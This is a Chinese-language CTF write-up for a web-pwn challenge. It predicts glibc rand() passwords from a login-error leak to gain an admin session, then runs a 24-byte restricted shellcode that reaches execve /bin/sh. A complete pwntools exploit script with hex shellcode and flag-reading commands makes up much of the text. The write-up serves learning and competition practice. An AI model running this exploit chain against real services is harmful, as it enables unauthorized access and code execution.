最后输出的时候

        __snprintf_chk(session_bytes, 0x2000, 2, 0x2000, aS, &v27);
        send_simple_http_response(fd, "401 Unauthorized", "text/plain; charset=UTF-8", session_bytes);

这里注意有个变量的转化

v13 = (char *)&v27;

之后v27(v13)会被username塞满

      if ( n16_1 <= 0x10 )
        n16 = n16_1;
      if ( (unsigned int)n16 >= 8 )
      {
        LODWORD(v16) = 0;
        do
        {
          v17 = (unsigned int)v16;
          v16 = (unsigned int)(v16 + 8);
          *(_QWORD *)&s_[v17 - 16] = *(_QWORD *)&username[v17];
        }
        while ( (unsigned int)v16 < ((unsigned int)n16 & 0xFFFFFFF8) );
        v13 = &s_[v16 - 16];
        p_username = &username[v16];
      }
      n4 = 0;

v29的话是被密码塞满

snprintf(s_, 0x20u, "%s", expected_password);

总结一下的就是,只要输出16字节的用户名,就能泄露出来这次随机化生成的密码

这里的密码是这样生成的

      v10 = rand();
      pthread_mutex_unlock((pthread_mutex_t *)&rand_lock);
      __snprintf_chk(expected_password, 32, 2, 32, "%d", v10);

种子是这样生成的

  v3 = time(0);
  ptr = v3 ^ getpid();
  ptr_1 = ptr;
LABEL_5:
  srand(ptr_1);

这里的session的恢复的话是让ai帮我们完成的,这里的snprintf的打印,会把rand()生成的密码的打印出来,我们经过数据的收集,就能预测到下一轮的rand()生成的数值,进而实现登录

  out[i] = out[i-31] + out[i-3] + eps   mod 2^31
  eps ∈ {0, 1}

  base = (outputs[-31] + outputs[-3]) & 0x7fffffff
  return base, (base + 1) & 0x7fffffff

  - -31 和 -3 来自 glibc RNG 的两个 tap
  - & 0x7fffffff 是对 2^31 取模
  - 多试一个 +1,是因为内部真实状态有 1 bit 被 >> 1 丢掉了,所以外部只能把下一次输出缩到两个候选里

  如果把你收集到的序列记成 o[0], o[1], ..., o[n],那下一次大致就是:

  o[n+1] ≈ o[n-30] + o[n-2]   mod 2^31

  在 Python 负索引里,正好就是 outputs[-31] 和 outputs[-3]。

实现登录之后,我们就可以获得session,然后我们继续往下读发现还给了一个地址的泄露点,这里会给我们泄露出来pie的地址,进而可以pie的基址

但是这个post请求给出的地址没有用到

  if ( strcmp(path, "/reward") )
    goto LABEL_4;
  LOBYTE(v9) = has_valid_admin_session_cookie(raw_request);
  if ( !v9 )
  {
    body = (const char *)&unk_531B;
    p__404_Not_Found = "403 Forbidden";
    return send_simple_http_response(fd, p__404_Not_Found, "text/plain; charset=UTF-8", body);
  }
  if ( strcmp(path, "/reward") || !query_or_body || strcmp(query_or_body, "Win") )// POST /reward requires an authenticated admin session and the exact body 'Win'; it leaks the REWARD pointer.
  {
LABEL_4:
    body = "unsupported POST endpoint";
    p__404_Not_Found = "404 Not Found";
    return send_simple_http_response(fd, p__404_Not_Found, "text/plain; charset=UTF-8", body);
  }
  __snprintf_chk(session_bytes, 0x2000, 2, 0x2000, "{\"reward\": \"%p\"}", REWARD);
  send_simple_http_response(fd, "200 OK", "application/json", session_bytes);
  return v37 - __readfsqword(0x28u);

之后的话就是获取key值,前面是提到了,key是从一个文件里面读取的,之后我们去读取get路由

  if ( !strncmp(path, "/download", 9u) && ((n63_1 = path[9]) == 0 || n63_1 == 63) )
  {
    handle_authenticated_download(fd, path, raw_request);
  }

download的功能代码如下

            len = __snprintf_chk(
                    file_data,
                    0x2000,
                    2,
                    0x2000,
                    "HTTP/1.1 200 OK\r\n"
                    "Content-Type: application/zip\r\n"
                    "Content-Length: %ld\r\n"
                    "Content-Disposition: attachment; filename=\"%s\"\r\n"
                    "\r\n",
                    size_1,
                    download_name);
            if ( send_all_bytes(fd, file_data, len) >= 0 )
              send_all_bytes(fd, buf, size_1);

这里我们想尽了办法,也是没有读到那个root.mys这个文件,主要是绕过不过下面这里的限制

白名单的限制

  allowed_exts_ = _mm_unpacklo_epi64((__m128i)(unsigned __int64)".html", (__m128i)(unsigned __int64)".js");
  v18 = _mm_unpacklo_epi64((__m128i)(unsigned __int64)".css", (__m128i)(unsigned __int64)".txt");
  LOBYTE(v3) = has_valid_admin_session_cookie(raw_request);
 LOBYTE(v8) = has_allowed_extension(download_name, (const char **)&allowed_exts_, 4u);

还有就是目录穿越的限制

  if ( strstr(download_name, "..") || (v7 = strchr(download_name, '\\'), (unsigned __int8)(v6 - 46) <= 1u) || v7 )

最后,我们通过下载镜像的方式读到了key,之后就能调用get请求访问pwn_worker这个程序

这里让ai给我们简单的总结了一下这个限制

  • 长度 <= 25,但代码实际是 read(..., 0x18),所以真正上限是 24 字节
  • 禁止字节:
  • 0x0f
  • 0xcd
  • 0x80
  • 0x2f
  • 0x50 到 0x57

这些限制主要是为了卡常见 syscall/shellcode 写法:

  • syscall = 0f 05
  • int 0x80 = cd 80
  • /bin/sh 里常见 / = 0x2f
  • push raxrdi = 0x500x57

因为清空了标准的寄存器

xmm7 里残留了 read@libc 的真实地址,我们可以利用这个libc基址的残留,引用libc的数值和片段

shellcode的编写的逻辑如下

  rax = read@libc;
  rdi = address_of("/bin/sh");
  rax = 59;           // execve
  jump to usable libc gadget/syscall path

这个题目没有给dockerfile,我们可以写的.sh文件,这样可以测试整个环境

这里我们patch了文件,我们测试和ai做的端口不一样,尽量减少端口的影响

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)"
PORT="${1:-18080}"
LAB_DIR="${NCTF_LOCAL_LAB_DIR:-/tmp/nctf-web-${PORT}}"
WORK_WWW="$LAB_DIR/www"
SERVER_SRC="$SCRIPT_DIR/webserver"
SERVER_DST="$WORK_WWW/webserver"

mkdir -p "$WORK_WWW"
cp "$SERVER_SRC" "$SERVER_DST"
chmod +x "$SERVER_DST"

python3 - "$SERVER_DST" "$PORT" <<'PY2'
from pathlib import Path
import struct
import sys

path = Path(sys.argv[1])
port = int(sys.argv[2])
if not (1 <= port <= 65535):
    raise SystemExit(f'invalid port: {port}')

data = bytearray(path.read_bytes())
if data[0x2740] != 0xB8 or data[0x2777] != 0xBA:
    raise SystemExit('unexpected webserver layout; aborting patch')

data[0x2741:0x2745] = b'\x02\x00' + struct.pack('>H', port)
data[0x2778:0x277c] = struct.pack('<I', port)
path.write_bytes(data)
PY2

ln -snf ../root.mys "$WORK_WWW/root.mys"
ln -snf "$SCRIPT_DIR/pwn_worker" "$WORK_WWW/pwn_worker"
if [ -f "$ROOT_DIR/root.mys" ]; then
    cp "$ROOT_DIR/root.mys" "$LAB_DIR/root.mys"
fi
if [ -f "$ROOT_DIR/flag" ]; then
    cp "$ROOT_DIR/flag" "$LAB_DIR/flag"
fi
if [ -d "$ROOT_DIR/front" ]; then
    ln -snf "$ROOT_DIR/front" "$LAB_DIR/front"
fi
FRONT_ALIAS=$'\345\211\215\347\253\257'
if [ -d "$ROOT_DIR/$FRONT_ALIAS" ]; then
    ln -snf "$ROOT_DIR/$FRONT_ALIAS" "$LAB_DIR/$FRONT_ALIAS"
elif [ -d "$ROOT_DIR/front" ]; then
    ln -snf "$ROOT_DIR/front" "$LAB_DIR/$FRONT_ALIAS"
fi

echo "[*] isolated lab: $LAB_DIR"
echo "[*] listening port: $PORT"
echo "[*] launch cwd: $WORK_WWW"
cd "$WORK_WWW"
exec ./webserver

对于简单的调整的话,我们可以手动启动我们需要的那两个附件,和我们正常调试webpwn的程序一样

这里的时候可以调试v8一样,打上断点,然后附加pid,这个调试方法对于调试本地的程序很不错的

加上这行调试代码即可

    print(f'[*] pwn_worker pid: {proc.pid}', flush=True)
    print('[*] attach debugger now, press Enter to send shellcode', flush=True)
    sys.stdin.readline()

最终的exp(本地)

远程的话把key改一下就行,存储在镜像里,解包就能直接去用

#!/usr/bin/env python3
from pwn import *
import re
import socket
import subprocess
import sys
import time
from urllib.parse import quote

# 24 字节 stage1:先从 xmm7 取回 worker 指针,再把控制流跳回 worker 里的 syscall 落点。
# 这 24 字节后面直接跟命令串,sh 起起来以后会继续从同一条 socket 读后面的命令。
PAYLOADS = {
    'bundled': bytes.fromhex('c4e1f97ef8488db8aff90a004c8d5848b83b00000041ffe3'),
    'local': bytes.fromhex('c4e1f97ef8488db8383e0c004c8d5810b83b00000041ffe3'),
}

DEFAULT_CMD = (
    'cat ../flag >&2 2>/dev/null; '
    'cat /flag >&2 2>/dev/null; '
    'cat flag >&2 2>/dev/null; '
    'exit\n'
)
LEAK_PREFIX = b'A' * 16

host = '127.0.0.1'
port = 18080
local = 1
key = 'test'
session = ''
leak_count = 40
stage1 = PAYLOADS['local']
cmd = DEFAULT_CMD
timeout = 5.0
max_rounds = 8


def recv_some(sock, timeout=1.0):
    sock.settimeout(timeout)
    out = []
    while True:
        try:
            data = sock.recv(4096)
        except Exception:
            break
        if not data:
            break
        out.append(data)
    return b''.join(out)


def write_output(data):
    sys.stdout.buffer.write(data)
    sys.stdout.buffer.flush()


def http_request(host, port, request, timeout):
    sock = socket.create_connection((host, port), timeout=timeout)
    sock.sendall(request)
    resp = recv_some(sock, timeout)
    sock.close()
    return resp


def make_post(host, port, path, body, cookie=''):
    headers = [
        f'POST {path} HTTP/1.1',
        f'Host: {host}:{port}',
        'Content-Type: application/x-www-form-urlencoded',
        f'Content-Length: {len(body)}',
        'Connection: close',
    ]
    if cookie:
        headers.append(f'Cookie: session={cookie}')
    return ('\r\n'.join(headers) + '\r\n\r\n').encode() + body


def leak_rand_output(host, port, timeout):
    # username 里塞 16 个 A,失败回显会把这段前缀和本次 rand() 数字一起吐回 body。
    body = b'username=' + LEAK_PREFIX + b'&password=x'
    resp = http_request(host, port, make_post(host, port, '/login', body), timeout)
    m = re.search(re.escape(LEAK_PREFIX) + br'(\d+)', resp)
    if not m:
        raise RuntimeError(f'failed to leak rand output: {resp!r}')
    return int(m.group(1))


def collect_rand_outputs(host, port, count, timeout):
    outputs = []
    attempts = 0
    limit = count * 4
    while len(outputs) < count:
        attempts += 1
        try:
            outputs.append(leak_rand_output(host, port, timeout))
        except Exception:
            if attempts >= limit:
                raise
            time.sleep(0.1)
    return outputs


def predict_next_rand(outputs):
    if len(outputs) < 31:
        raise ValueError('need at least 31 leaked outputs')
    # 已确认下一次密码只看倒数第 31 个和倒数第 3 个输出,这里只撞 base / base+1。
    base = (outputs[-31] + outputs[-3]) & 0x7fffffff
    return base, (base + 1) & 0x7fffffff


def try_login(host, port, password, timeout):
    body = f'username=admin&password={quote(str(password), safe="")}'.encode()
    resp = http_request(host, port, make_post(host, port, '/login', body), timeout)
    m = re.search(br'Set-Cookie: session=([0-9a-fA-F]{32})', resp)
    return (m.group(1).decode() if m else None), resp


def recover_session(host, port, leak_count, timeout, max_rounds):
    for round_idx in range(1, max_rounds + 1):
        outputs = collect_rand_outputs(host, port, leak_count, timeout)
        cands = predict_next_rand(outputs)
        for cand in cands:
            session, _ = try_login(host, port, cand, timeout)
            if session:
                return session, outputs, cands, round_idx
    raise RuntimeError(f'login failed after {max_rounds} rounds using base candidates only')


def build_remote_request(host, port, session, key):
    headers = [
        f'GET /pwn?key={quote(key)} HTTP/1.1',
        f'Host: {host}:{port}',
        f'Cookie: session={session}',
        'Connection: Upgrade',
        'Upgrade: raw-stream',
    ]
    return ('\r\n'.join(headers) + '\r\n\r\n').encode()


def build_payload():
    return stage1 + cmd.encode()


# pwn1:先拿到 admin 的 session。
def pwn1():
    if session:
        print(f'[+] using provided session: {session}', flush=True)
        return session
    # 连续漏 rand() 输出,推到下一次 admin 登录会用的密码,再把 session cookie 拿回来。
    recovered_session, outputs, cands, round_idx = recover_session(
        host,
        port,
        leak_count,
        timeout,
        max_rounds,
    )
    print(f'[+] leaked {len(outputs)} rand() outputs in round {round_idx}', flush=True)
    print(f'[+] predicted login candidates: {cands[0]} / {cands[1]}', flush=True)
    print(f'[+] recovered session: {recovered_session}', flush=True)
    return recovered_session


# pwn2:带着 admin session 进 /pwn,把这条 HTTP 连接切给 pwn_worker。
def pwn2(session_value):
    # 读到 '> ' 说明 worker 已经接管这条 socket,后面发的就是原始 stdin 数据了。
    sock = socket.create_connection((host, port), timeout=timeout)
    sock.sendall(build_remote_request(host, port, session_value, key))
    banner = b''
    sock.settimeout(timeout)
    try:
        while True:
            data = sock.recv(4096)
            if not data:
                break
            banner += data
            if b'> ' in banner:
                break
    except Exception:
        pass
    return sock, banner


# pwn3:先塞 24 字节跳板,再把命令串接在后面一起喂进去。
def pwn3(sock):
    # worker 先吃掉前 24 字节完成跳转,后面的字节不换连接,直接变成 sh 读到的命令输入。
    blob = build_payload()
    if not blob:
        return b''
    sock.sendall(blob)
    time.sleep(0.3)
    return recv_some(sock, timeout=timeout)


def run_local(payload, timeout):
    proc = subprocess.Popen(
        ['./pwn_worker'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
   # print(f'[*] pwn_worker pid: {proc.pid}', flush=True)
  #  print('[*] attach debugger now, press Enter to send shellcode', flush=True)
   # sys.stdin.readline()
    out, err = proc.communicate(payload, timeout=timeout)
    write_output(out)
    sys.stderr.buffer.write(err)
    sys.stderr.buffer.flush()
    return proc.returncode


def exp():
    if local:
        return run_local(build_payload(), timeout)

    session_value = pwn1()
    sock, banner = pwn2(session_value)
    try:
        write_output(banner)
        pause()
        write_output(pwn3(sock))
        return 0
    finally:
        sock.close()


def main():
    return exp()


if __name__ == '__main__':
    raise SystemExit(main())

拿到shell之后,镜像里不仅仅有root,mys文件,还可以从docker镜像的历史中看到root账号的密码,123456

docker history --no-trunc 2er00ne/nctf:ya
#COPY ./root.mys /app/www/root.mys
#echo 'root:123456' | chpasswd

然后切换root之后,进行错误重定向输出即可,最后即可获得flag